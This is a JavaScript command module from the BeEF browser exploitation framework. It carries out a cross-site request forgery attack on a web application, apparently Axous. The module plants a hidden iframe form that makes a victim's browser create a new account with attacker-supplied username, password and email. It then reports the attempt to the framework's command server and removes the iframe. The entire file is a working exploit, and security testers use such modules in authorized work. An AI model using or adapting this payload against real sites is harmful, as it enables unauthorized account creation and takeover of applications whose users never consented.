//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
	var base     = '<%= @base %>'; 
	var username = '<%= @username %>';
	var password = '<%= @password %>';
	var email    = '<%= @email %>';

	var axous_iframe = beef.dom.createIframeXsrfForm(base, "POST", "application/x-www-form-urlencoded", [
		{'type':'hidden', 'name':'user_name',   'value':username},
		{'type':'hidden', 'name':'new_passwd',  'value':password},
		{'type':'hidden', 'name':'new_passwd1', 'value':password},
		{'type':'hidden', 'name':'email',       'value':email},
		{'type':'hidden', 'name':'dosubmit',    'value':'1'} ,
		{'type':'hidden', 'name':'id',          'value':''},
		{'type':'hidden', 'name':'action',      'value':'addnew'} ,
	]);

	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

	cleanup = function() {
		document.body.removeChild(axous_iframe);
	}
	setTimeout("cleanup()", 15000);

});

